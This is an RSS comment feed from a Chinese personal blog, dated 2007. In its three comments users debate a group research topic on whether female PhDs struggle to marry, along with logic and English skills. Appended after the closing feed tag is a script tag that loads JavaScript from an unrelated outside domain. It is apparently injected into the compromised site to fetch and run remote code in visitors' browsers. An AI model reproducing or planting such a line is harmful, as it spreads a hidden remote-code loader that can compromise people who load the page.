

































































































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: 无逻辑&#183;二三则or一长串</title>
	<atom:link href="http://blog.myneverland.org/archives/404/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.myneverland.org/archives/404</link>
	<description>Heretic.Q</description>
	<lastBuildDate>Fri, 16 Jul 2010 14:59:43 -0600</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>By: heretic</title>
		<link>http://blog.myneverland.org/archives/404/comment-page-1#comment-23</link>
		<dc:creator>heretic</dc:creator>
		<pubDate>Fri, 02 Feb 2007 16:22:16 +0000</pubDate>
		<guid isPermaLink="false">http://blog.myneverland.org/?p=404#comment-23</guid>
		<description>Re Laveri:
1，冷笑话的确很冷。
2，冷笑话没有逻辑，还有装可怜博同情的嫌疑。
3，你的解释还是犯了我详细说过的逻辑错误。因为SEX更冒犯所以Marriage就不冒犯了？
4，你们组的Topic很好。
5，我的观点跟Karie一样，不能做莫须有的假设。
6，这跟你的英文没有关系。
7，如果说语言是思维的表征，那么你的中文水准跟英文不相上下。
8，“绝B不……”这个短语很牛B……</description>
		<content:encoded><![CDATA[<p>Re Laveri:<br />
1，冷笑话的确很冷。<br />
2，冷笑话没有逻辑，还有装可怜博同情的嫌疑。<br />
3，你的解释还是犯了我详细说过的逻辑错误。因为SEX更冒犯所以Marriage就不冒犯了？<br />
4，你们组的Topic很好。<br />
5，我的观点跟Karie一样，不能做莫须有的假设。<br />
6，这跟你的英文没有关系。<br />
7，如果说语言是思维的表征，那么你的中文水准跟英文不相上下。<br />
8，“绝B不……”这个短语很牛B……</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: laveri</title>
		<link>http://blog.myneverland.org/archives/404/comment-page-1#comment-21</link>
		<dc:creator>laveri</dc:creator>
		<pubDate>Thu, 01 Feb 2007 18:24:18 +0000</pubDate>
		<guid isPermaLink="false">http://blog.myneverland.org/?p=404#comment-21</guid>
		<description>&lt;strong&gt;误读...&lt;/strong&gt;

冷笑话：为什么好人没好报？因为好人口齿不清。
虫子对我们组的研究题目进行了批判，我绝B不认为我的题目不好，我想主要原因还是在我的表达有问题。 英语很重要，不过我往往用中文.....</description>
		<content:encoded><![CDATA[<p><strong>误读&#8230;</strong></p>
<p>冷笑话：为什么好人没好报？因为好人口齿不清。<br />
虫子对我们组的研究题目进行了批判，我绝B不认为我的题目不好，我想主要原因还是在我的表达有问题。 英语很重要，不过我往往用中文&#8230;..</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: laveri</title>
		<link>http://blog.myneverland.org/archives/404/comment-page-1#comment-20</link>
		<dc:creator>laveri</dc:creator>
		<pubDate>Thu, 01 Feb 2007 18:10:56 +0000</pubDate>
		<guid isPermaLink="false">http://blog.myneverland.org/?p=404#comment-20</guid>
		<description>可能是没表达清楚吧。我的意思是我们开始甚至想做sex方面的，那个对中国人比较冒犯，所以选了婚姻这个相较不冒犯的，而且是她们自己关心的问题。而且我们也没有确定说女博士就都难嫁，只是，你姑且可以说这是种谜思吧，我们好奇并想搞清楚真实情况。如此而已。在操作方法上也想过如何保证私秘性，面访和focus group是最后考虑的方式。

我英语不好，我的错</description>
		<content:encoded><![CDATA[<p>可能是没表达清楚吧。我的意思是我们开始甚至想做sex方面的，那个对中国人比较冒犯，所以选了婚姻这个相较不冒犯的，而且是她们自己关心的问题。而且我们也没有确定说女博士就都难嫁，只是，你姑且可以说这是种谜思吧，我们好奇并想搞清楚真实情况。如此而已。在操作方法上也想过如何保证私秘性，面访和focus group是最后考虑的方式。</p>
<p>我英语不好，我的错</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>